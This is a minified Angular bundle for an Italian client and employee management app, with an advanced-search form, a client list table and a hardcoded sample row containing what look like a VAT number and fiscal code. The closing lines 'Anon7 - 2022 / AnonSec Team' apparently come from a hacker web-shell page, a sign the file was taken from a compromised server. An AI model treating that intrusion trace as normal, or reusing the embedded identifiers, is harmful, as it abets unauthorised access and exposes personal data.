n=s.gc().$implicit,a=s.gc(2);s.Cb(4),s.Lc("",s.ic(5,8,n.name)," ",s.ic(6,10,"Inizio"),""),s.Cb(3),s.nc("model",a.advSearchForm.controls[n.key+"_start"].value)("placeholder",s.ic(8,12,"Inserire il valore")),s.Cb(5),s.Lc("",s.ic(13,14,n.name)," ",s.ic(14,16,"Fine"),""),s.Cb(3),s.nc("model",a.advSearchForm.controls[n.key+"_end"].value)("placeholder",s.ic(16,18,"Inserire il valore"))}}function $(e,t){if(1&e&&(s.Vb(0,"div",36),s.Qb(1,"input",40),s.Qb(2,"i",41),s.Ub()),2&e){var i=s.gc(2).$implicit;s.Cb(1),s.oc("formControlName",i.key)}}function D(e,t){if(1&e&&(s.Vb(0,"div",36),s.Qb(1,"ng-select",42),s.hc(2,"translate"),s.Ub()),2&e){var i=s.gc(2).$implicit;s.Cb(1),s.oc("formControlName",i.key),s.nc("items",i.options)("placeholder",s.ic(2,3,"Seleziona un'opzione"))}}function Y(e,t){if(1&e&&(s.Vb(0,"div"),s.Vb(1,"h3",37),s.Ic(2),s.hc(3,"translate"),s.Ub(),s.Gc(4,$,3,1,"div",39),s.Gc(5,D,3,5,"div",39),s.Ub()),2&e){var i=s.gc().$implicit;s.Fb("col-md-",i.children&&i.children.length>0?"12":"6",""),s.Cb(2),s.Jc(s.ic(3,6,i.name)),s.Cb(2),s.nc("ngIf","text"==i.type),s.Cb(1),s.nc("ngIf","select"==i.type)}}function Z(e,t){if(1&e&&(s.Vb(0,"div",36),s.Qb(1,"input",40),s.Qb(2,"i",41),s.Ub()),2&e){var i=s.gc(2).$implicit;s.Cb(1),s.oc("formControlName",i.key)}}function H(e,t){if(1&e&&(s.Vb(0,"div",36),s.Qb(1,"ng-select",45),s.hc(2,"translate"),s.Ub()),2&e){var i=s.gc(2).$implicit;s.Cb(1),s.oc("formControlName",i.key),s.nc("items",i.options)("placeholder",s.ic(2,3,"Seleziona un'opzione"))}}function X(e,t){if(1&e&&(s.Vb(0,"div",35),s.Vb(1,"h3",37),s.Ic(2),s.hc(3,"translate"),s.Vb(4,"span",44),s.Ic(5),s.hc(6,"translate"),s.Ub(),s.Ub(),s.Gc(7,Z,3,1,"div",39),s.Gc(8,H,3,5,"div",39),s.Ub()),2&e){var i=s.gc().$implicit,n=s.gc().$implicit;s.Cb(2),s.Kc("",s.ic(3,4,i.name)," "),s.Cb(3),s.Kc("- (",s.ic(6,6,n.name),")"),s.Cb(2),s.nc("ngIf","text"==i.type),s.Cb(1),s.nc("ngIf","select"==i.type)}}function ee(e,t){if(1&e&&(s.Tb(0),s.Gc(1,X,9,8,"div",43),s.Sb()),2&e){var i=s.gc().$implicit;s.Cb(1),s.nc("ngIf",i.active)}}function te(e,t){if(1&e&&(s.Tb(0),s.Gc(1,B,17,20,"ng-container",33),s.Gc(2,Y,6,8,"div",34),s.Gc(3,ee,2,1,"ng-container",20),s.Sb()),2&e){var i=t.$implicit;s.Cb(1),s.nc("ngIf",i.active&&"date"==i.type),s.Cb(1),s.nc("ngIf",i.active&&"date"!=i.type),s.Cb(1),s.nc("ngForOf",i.children)}}function ie(e,t){if(1&e){var i=s.Wb();s.Vb(0,"div",8),s.Vb(1,"div",9),s.Vb(2,"div",10),s.Vb(3,"div",21),s.Vb(4,"h4",12),s.Ic(5),s.hc(6,"translate"),s.Ub(),s.Vb(7,"h6",22),s.Ic(8),s.hc(9,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(10,"div",23),s.Vb(11,"div",24),s.Vb(12,"div",15),s.Vb(13,"div",25),s.Gc(14,W,6,7,"div",20),s.Ub(),s.Qb(15,"br"),s.Vb(16,"form",26),s.cc("ngSubmit",function(){return s.Ac(i),s.gc().getAdvSearchUserse()}),s.Vb(17,"div",27),s.Vb(18,"div",10),s.Gc(19,te,4,3,"ng-container",20),s.Ub(),s.Qb(20,"br"),s.Ub(),s.Vb(21,"div",28),s.Vb(22,"button",29),s.cc("click",function(){return s.Ac(i),s.gc().showAdvBox()}),s.Qb(23,"i",30),s.Ic(24),s.hc(25,"translate"),s.Ub(),s.Ic(26," \xa0 "),s.Vb(27,"button",31),s.cc("type",function(){return s.Ac(i),s.gc().submit}),s.Qb(28,"i",5),s.Ic(29),s.hc(30,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub()}if(2&e){var n=s.gc();s.Cb(5),s.Jc(s.ic(6,7,"Ricerca Avanzata")),s.Cb(3),s.Kc("",s.ic(9,9,"Seleziona i criteri di ricerca per cercare i dipendenti, puoi selezionare un gruppo di criteri selezionando il titolo del gruppo (es. Anagrafica)")," "),s.Cb(6),s.nc("ngForOf",n.field_ricerca_avanzata),s.Cb(2),s.nc("formGroup",n.advSearchForm),s.Cb(3),s.nc("ngForOf",n.field_ricerca_avanzata),s.Cb(5),s.Kc(" ",s.ic(25,11,"Chiudi")," "),s.Cb(5),s.Kc(" ",s.ic(30,13,"Cerca")," ")}}function ne(e,t){1&e&&(s.Vb(0,"tr"),s.Vb(1,"td",46),s.Ic(2," Modis "),s.Ub(),s.Vb(3,"td",46),s.Ic(4," 11788890157 "),s.Ub(),s.Vb(5,"td",47),s.Ic(6," CMZFSF40E16I093R "),s.Ub(),s.Vb(7,"td",47),s.Ic(8," Marilyn "),s.Ub(),s.Vb(9,"td"),s.Ic(10),s.hc(11,"translate"),s.Ub(),s.Vb(12,"td"),s.Ic(13,"Maddy"),s.Ub(),s.Vb(14,"td"),s.Ic(15,"Milano"),s.Ub(),s.Qb(16,"td"),s.Qb(17,"td"),s.Qb(18,"td"),s.Qb(19,"td"),s.Vb(20,"td"),s.Ic(21,"IT"),s.Ub(),s.Vb(22,"td",48),s.Vb(23,"table",49),s.Vb(24,"tr"),s.Vb(25,"td",50),s.Vb(26,"button",51),s.hc(27,"translate"),s.Qb(28,"i",52),s.Ub(),s.Ub(),s.Vb(29,"td",50),s.Vb(30,"button",53),s.hc(31,"translate"),s.Qb(32,"i",54),s.Ub(),s.Ub(),s.Vb(33,"td",50),s.Vb(34,"button",55),s.hc(35,"translate"),s.Qb(36,"i",56),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub()),2&e&&(s.Cb(10),s.Jc(s.ic(11,4,"Status 1")),s.Cb(16),s.nc("tooltip",s.ic(27,6,"Visualizza Cliente")),s.Cb(4),s.nc("tooltip",s.ic(31,8,"Modifica Cliente")),s.Cb(4),s.nc("tooltip",s.ic(35,10,"Cancella Cliente")))}var ae,re,ce=((ae=function(){function t(i,n,a,r,c,o,l,s,b){e(this,t),this.fb=i,this.clientService=n,this.employeesService=a,this.change=r,this.router=c,this.excelService=o,this.translate=l,this.utilsService=s,this.ngselectConfig=b,this.clientList=[],this.professional_profiles=new Array,this.create=!1,this.macroareas=new Array,this.categories=new Array,this.skills=new Array,this.showAdvBoxFlag=!1,this.events=[],this.allMacroareas=new Array,this.allSkills=new Array,this.nums=[],this.nums=[0,1,2,3,4],this.ngselectConfig.notFoundText="Nessun risultato trovato",this.clientSearch=!1,this.allEmpSkillsSector=new Array,this.genderOpt=["","M","F"],this.experienceOpt=["","0","1","2","3","4","5","6","7","8","9","10+"],this.languagesListOpt=this.getAllLanguageList(),this.langLevelOpt=["","A1","A2","B1","B2","C1","C2"],this.rolesListOpt=this.getRolesListOpt();var d=this.getAllEmployeeSkillsSector();console.log("allSkillsSector value : "+d),this.getSkillsName(),this.getMacroareas(),this.getAllSkillsCategories(),this.labelBtnAdvSearch="Ricerca Avanzata",this.field_ricerca_avanzata=[{type:"text",name:"Nome",active:!0,key:"name",required:!1,minlenght:!1,maxlenght:!1},{type:"text",name:"Cognome",active:!0,key:"surname"},{type:"text",name:"Email",active:!0,key:"email"},{type:"select",options:this.rolesListOpt,name:"Ruolo",active:!0,key:"ruolo"},{type:"text",name:"Posizione",key:"position"},{type:"select",options:this.experienceOpt,name:"Esperienza",key:"experience"},{type:"text",name:"Location",key:"location"},{type:"select",options:this.genderOpt,name:"Gender",key:"gender"},{type:"select",options:this.allSkills,key:"skills_name",name:"Skill",children:[{type:"select",options:this.allEmpSkillsSector,key:"sector",name:"Settore"},{type:"select",options:this.allMacroareas,key:"macro_areas_name",name:"Macro Area"}]},{type:"select",options:this.languagesListOpt,key:"language",name:"Lingua",children:[{type:"select",options:this.langLevelOpt,key:"spoken",name:"Parlato"},{type:"select",options:this.langLevelOpt,key:"speek",name:"Scritto"}]},{type:"date",key:"created_at",name:"Data Creazione",active:!0},{type:"date",key:"updated_at",name:"Data Ultimo Aggiornamento"}];var u=this.generateFormValidator();this.advSearchForm=i.group(u)}return i(t,[{key:"changeLanguage",value:function(e){l.a.setLang(e)}},{key:"generateFormValidator",value:function(){for(var e={},t=0;t<this.field_ricerca_avanzata.length;t++)if("date"==this.field_ricerca_avanzata[t].type){e[this.field_ricerca_avanzata[t].key+"_start"]=["",[]];var i=e[this.field_ricerca_avanzata[t].key+"_start"][1];"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_start"][i.lenght]=b.v.required),e[this.field_ricerca_avanzata[t].key+"_end"]=["",[]],i=e[this.field_ricerca_avanzata[t].key+"_end"][1],"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_end"][i.lenght]=b.v.required)}else{e[this.field_ricerca_avanzata[t].key]=[null,[]];var n=e[this.field_ricerca_avanzata[t].key][1];if("required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=b.v.required),"minlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].minlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=b.v.minLength(this.field_ricerca_avanzata[t].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].maxlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=b.v.maxLength(this.field_ricerca_avanzata[t].maxlenght)),"children"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].children.length>0)for(var a=0;a<this.field_ricerca_avanzata[t].children.length;a++){e[this.field_ricerca_avanzata[t].children[a].key]=["",[]];var r=e[this.field_ricerca_avanzata[t].children[a].key][1];"required"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].required&&(e[this.field_ricerca_avanzata[t].children[a].key][r.lenght]=b.v.required),"minlenght"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].minlenght&&(e[this.field_ricerca_avanzata[t].children[a].key][r.lenght]=b.v.minLength(this.field_ricerca_avanzata[t].children[a].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].maxlenght&&(e[this.field_ricerca_avanzata[t].children[a].key][r.lenght]=b.v.maxLength(this.field_ricerca_avanzata[t].children[a].maxlenght))}}return e}},{key:"ngOnInit",value:function(){}},{key:"ngAfterViewInit",value:function(){}},{key:"ngOnDestroy",value:function(){}},{key:"getAdvSearchUserse",value:function(){var e,t,i,n,a,r,c,o,l,s,b,d,u,h,g,m,v,f,p,_,C,V,U=new Map,y=null===(e=this.advSearchForm.get("email"))||void 0===e?void 0:e.value,k=null===(t=this.advSearchForm.get("name"))||void 0===t?void 0:t.value,S=null===(i=this.advSearchForm.get("surname"))||void 0===i?void 0:i.value,I=null===(n=this.advSearchForm.get("role"))||void 0===n?void 0:n.value,z=null===(a=this.advSearchForm.get("position"))||void 0===a?void 0:a.value,x=null===(r=this.advSearchForm.get("experience"))||void 0===r?void 0:r.value,O=null===(c=this.advSearchForm.get("location"))||void 0===c?void 0:c.value,w=null===(o=this.advSearchForm.get("gender"))||void 0===o?void 0:o.value,F=null===(l=this.advSearchForm.get("sector"))||void 0===l?void 0:l.value,P=null===(s=this.advSearchForm.get("macro_area"))||void 0===s?void 0:s.value,M=null===(b=this.advSearchForm.get("categories_name"))||void 0===b?void 0:b.value,A=null===(d=this.advSearchForm.get("skillName"))||void 0===d?void 0:d.value,Q=null===(u=this.advSearchForm.get("lingua"))||void 0===u?void 0:u.value,L=null===(h=this.advSearchForm.get("written"))||void 0===h?void 0:h.value,G=null===(g=this.advSearchForm.get("spoken"))||void 0===g?void 0:g.value,K=null===(m=this.advSearchForm.get("edu_name"))||void 0===m?void 0:m.value,N=null===(v=this.advSearchForm.get("edu_level"))||void 0===v?void 0:v.value,J=null===(f=this.advSearchForm.get("edu_title"))||void 0===f?void 0:f.value,E=null===(p=this.advSearchForm.get("edu_title"))||void 0===p?void 0:p.value,T=null===(_=this.advSearchForm.get("edu_nome_scuola"))||void 0===_?void 0:_.value,q=null===(C=this.advSearchForm.get("edu_comune_scuola"))||void 0===C?void 0:C.value,R=null===(V=this.advSearchForm.get("edu_provincia_scuola"))||void 0===V?void 0:V.value;null!==y&&""!==y&&U.set("users_email",y),null!==k&&""!==k&&U.set("users_name",k),null!==S&&""!==S&&U.set("users_surname",S),null!==I&&""!==I&&U.set("users_role",I),null!==O&&""!==O&&U.set("users_location",O),null!==z&&""!==z&&U.set("users_position",z),null!==x&&""!==x&&U.set("users_experience",x),null!==w&&""!==w&&U.set("users_gender",w),null!==F&&""!==F&&U.set("user_skills_sector",F),null!==P&&""!==P&&U.set("macro_areas_name",P),null!==M&&""!==M&&U.set("categories_name",M),null!==A&&""!==A&&U.set("skills_name",A),null!==Q&&""!==Q&&U.set("user_languages_name_language",Q),null!==L&&""!==L&&U.set("user_languages_written",L),null!==G&&""!==G&&U.set("user_languages_spoken",G),null!==K&&""!==K&&U.set("user_educations_name",K),null!==N&&""!==N&&U.set("user_educations_level",N),null!==J&&""!==J&&U.set("user_educations_title",J),null!==E&&""!==E&&U.set("user_educations_vote",E),null!==T&&""!==T&&U.set("schools_nome_scuola",T),null!==R&&""!==R&&U.set("schools_provincia",R),null!==q&&""!==q&&U.set("schools_comune",q)}},{key:"showAdvBox",value:function(){this.showAdvBoxFlag=!this.showAdvBoxFlag,this.labelBtnAdvSearch=this.showAdvBoxFlag?"Nascondi Ricerca":"Ricerca Avanzata"}},{key:"existsCategory",value:function(e){var t=!1;return this.categories.forEach(function(i){i.id_category===e&&(t=!0)}),t}},{key:"existsMacroarea",value:function(e){var t=!1;return this.macroareas.forEach(function(i){i.id_macroarea===e&&(t=!0)}),t}},{key:"getAllLanguageList",value:function(){var e=this;this.utilsService.getLanguagesList().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.languagesListOpt=t.message,console.log(e.languagesListOpt))})).subscribe()}},{key:"getRolesListOpt",value:function(){}},{key:"getAllEmployeeSkillsSector",value:function(){}},{key:"getMacroareas",value:function(){var e=this;this.utilsService.getMacroareas().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.allMacroareas=t.message)})).subscribe()}},{key:"getSkillsName",value:function(){var e=this;this.utilsService.getSkills().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.allSkills=t.message,e.skills.forEach(function(t){for(var i=0;i<e.allSkills.length;i++)e.allSkills[i].name===t.name&&e.allSkills[i].this.allSkills.splice(i,1)}))})).subscribe()}},{key:"getAllSkillsCategories",value:function(){var e=this;this.utilsService.getCategories().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.allCategories=t.message)})).subscribe()}}]),t}()).\u0275fac=function(e){return new(e||ae)(s.Pb(b.e),s.Pb(T),s.Pb(G.a),s.Pb(s.h),s.Pb(c.f),s.Pb(K.a),s.Pb(l.a),s.Pb(x.a),s.Pb(u.b))},ae.\u0275cmp=s.Jb({type:ae,selectors:[["app-clients-list"]],viewQuery:function(e,t){var i;1&e&&s.Mc(j,1),2&e&&s.wc(i=s.dc())&&(t.ngselect=i.first)},decls:69,vars:50,consts:[[1,"content__title","row"],[1,"col-3"],[1,"col-9","text-right"],[1,"actions"],["routerLink","/clients/insert",1,"btn","btn-orange","mod","btn--icon-text","text-center"],[1,"zmdi","zmdi-account-add"],[1,"d-none","d-md-inline"],["class","card",4,"ngIf"],[1,"card"],[1,"card-body"],[1,"row"],[1,"col-6","pt-2"],[1,"card-title"],[1,"col-6","text-right"],[1,"w-100"],[1,"clearfix"],[1,"col-md-12","px-0","table-responsive"],[1,"table","table-bordered","w-100","text-center"],[1,"th-modis"],[1,"th-modis","d-none","d-md-table-cell"],[4,"ngFor","ngForOf"],[1,"col-12","pt-2"],[1,"card-subtitle"],[1,"row","mx-0","w-100"],[1,"w-100","pt-3"],[1,"row","pl-3","pr-3"],[3,"formGroup","ngSubmit"],[1,"mb-2"],[1,"col","right"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-close"],[1,"btn","btn-orange","mod","btn--icon-text",3,"type"],[1,"badge","mb-3","button-search-adv-field",3,"ngClass","click"],[4,"ngIf"],[3,"class",4,"ngIf"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title"],["mode","week","format","YYYY / [W]W","placement","bottom left",1,"h-33","w-100",3,"model","placeholder","modelChange"],["class","form-group",4,"ngIf"],["type","text","placeholder","","required","",1,"form-control",3,"formControlName"],[1,"form-group__bar"],["bindLabel","field.name",1,"border-select",3,"items","placeholder","formControlName"],["class","col-md-6",4,"ngIf"],[1,"color_9c"],["bindLabel","children_field.name",1,"border-select",3,"items","placeholder","formControlName"],[1,"align-middle","text-left"],[1,"align-middle","text-left","d-none","d-md-table-cell"],[1,"align-middle","text-right"],[1,"m-0","p-0","w-100"],[1,"border-0","text-center"],["disabled","","type","button",1,"btn","btn-info","active","btn-cube","text-center","mr-2",3,"tooltip"],[1,"icon","zmdi","zmdi-assignment"],["disabled","","type","button",1,"btn","btn-dark","text-center","btn-cube","mr-2",3,"tooltip"],[1,"icon","zmdi","zmdi-edit"],["disabled","","type","button",1,"btn","btn-danger","active","btn-cube","text-center",3,"tooltip"],[1,"icon","zmdi","zmdi-delete"]],template:function(e,t){1&e&&(s.Vb(0,"header",0),s.Vb(1,"div",1),s.Vb(2,"h1"),s.Ic(3),s.hc(4,"translate"),s.Ub(),s.Ub(),s.Vb(5,"div",2),s.Vb(6,"div",3),s.Vb(7,"button",4),s.Qb(8,"i",5),s.Vb(9,"span",6),s.Ic(10),s.hc(11,"translate"),s.Ub(),s.Ub(),s.Ic(12," \xa0 "),s.Ub(),s.Ub(),s.Ub(),s.Gc(13,ie,31,15,"div",7),s.Vb(14,"div",8),s.Vb(15,"div",9),s.Vb(16,"div",10),s.Vb(17,"div",11),s.Vb(18,"h4",12),s.Ic(19),s.hc(20,"translate"),s.Ub(),s.Ub(),s.Qb(21,"div",13),s.Ub(),s.Vb(22,"div",14),s.Vb(23,"div",15),s.Vb(24,"div",16),s.Vb(25,"table",17),s.Vb(26,"thead"),s.Vb(27,"tr"),s.Vb(28,"th",18),s.Ic(29),s.hc(30,"translate"),s.Ub(),s.Vb(31,"th",18),s.Ic(32),s.hc(33,"translate"),s.Ub(),s.Vb(34,"th",19),s.Ic(35),s.hc(36,"translate"),s.Ub(),s.Vb(37,"th",19),s.Ic(38),s.hc(39,"translate"),s.Ub(),s.Vb(40,"th",18),s.Ic(41),s.hc(42,"translate"),s.Ub(),s.Vb(43,"th",18),s.Ic(44),s.hc(45,"translate"),s.Ub(),s.Vb(46,"th",18),s.Ic(47),s.hc(48,"translate"),s.Ub(),s.Vb(49,"th",18),s.Ic(50),s.hc(51,"translate"),s.Ub(),s.Vb(52,"th",18),s.Ic(53),s.hc(54,"translate"),s.Ub(),s.Vb(55,"th",18),s.Ic(56),s.hc(57,"translate"),s.Ub(),s.Vb(58,"th",18),s.Ic(59),s.hc(60,"translate"),s.Ub(),s.Vb(61,"th",18),s.Ic(62),s.hc(63,"translate"),s.Ub(),s.Vb(64,"th",18),s.Ic(65),s.hc(66,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(67,"tbody"),s.Gc(68,ne,37,12,"tr",20),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub()),2&e&&(s.Cb(3),s.Jc(s.ic(4,18,"Clienti")),s.Cb(7),s.Jc(s.ic(11,20,"Nuovo Cliente")),s.Cb(3),s.nc("ngIf",t.showAdvBoxFlag),s.Cb(6),s.Kc(" ",s.ic(20,22,"Lista Clienti"),""),s.Cb(10),s.Jc(s.ic(30,24,"Nome Azienda")),s.Cb(3),s.Jc(s.ic(33,26,"P.Iva")),s.Cb(3),s.Jc(s.ic(36,28,"Cod. Fiscale")),s.Cb(3),s.Jc(s.ic(39,30,"Referente")),s.Cb(3),s.Jc(s.ic(42,32,"Status")),s.Cb(3),s.Jc(s.ic(45,34,"User Prospector")),s.Cb(3),s.Jc(s.ic(48,36,"Sede")),s.Cb(3),s.Jc(s.ic(51,38,"Succursale 1")),s.Cb(3),s.Jc(s.ic(54,40,"Succursale 2")),s.Cb(3),s.Jc(s.ic(57,42,"Succursale 3")),s.Cb(3),s.Jc(s.ic(60,44,"Bloccato")),s.Cb(3),s.Jc(s.ic(63,46,"Settore")),s.Cb(3),s.Jc(s.ic(66,48,"Azioni")),s.Cb(3),s.nc("ngForOf",t.nums))},directives:[c.g,d.n,d.m,b.w,b.o,b.i,d.l,q.a,b.c,b.u,b.n,b.g,u.a,R.a],pipes:[h.c],styles:['.right[_ngcontent-%COMP%]{text-align:right}.div-right[_ngcontent-%COMP%]{float:right}.radius[_ngcontent-%COMP%]{border-radius:50%}table[_ngcontent-%COMP%]   tr[_ngcontent-%COMP%]:hover{background-color:#59748163;cursor:pointer}.icon[_ngcontent-%COMP%]{margin-right:0;margin-top:-4px}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}.mod-col[_ngcontent-%COMP%]{background-color:#343a40}.table[_ngcontent-%COMP%]{color:#000;width:500px}td[_ngcontent-%COMP%]{background-color:#fff}.paginate_button[_ngcontent-%COMP%]   .current[_ngcontent-%COMP%]{background-color:#343a40!important;color:#fff}.schoolArea[_ngcontent-%COMP%]{display:block;border:1px solid #b7b7b7;padding:3px 10px 5px 5px;background-color:#9d9e9e85}.table[_ngcontent-%COMP%]   .zui-sticky-col[_ngcontent-%COMP%]{border-left:1px solid #ddefef;right:0;position:absolute;top:auto;width:auto}.table[_ngcontent-%COMP%]   .zui-sticky-col2[_ngcontent-%COMP%]{border-right:1px solid #ddefef;left:140px;position:absolute;top:auto;width:70px}.button-search-adv-field[_ngcontent-%COMP%]{cursor:pointer}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]{padding:.3rem!important;font-size:1rem;color:#333;vertical-align:middle!important}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{text-overflow:ellipsis;white-space:nowrap;color:#8e9499;margin-bottom:0}.th-modis[_ngcontent-%COMP%]{vertical-align:middle!important}.table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th.sorting_asc[_ngcontent-%COMP%]:after, .table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th.sorting_desc[_ngcontent-%COMP%]:after{content:""}']}),ae),oe=[{path:"insert",component:L},{path:"",component:ce}],le=((re=function t(){e(this,t)}).\u0275fac=function(e){return new(e||re)},re.\u0275mod=s.Nb({type:re,bootstrap:[ce,L,v,U]}),re.\u0275inj=s.Mb({providers:[l.a],imports:[[o.a,c.j.forChild(oe)]]}),re)}}])}();

Anon7 - 2022
AnonSec Team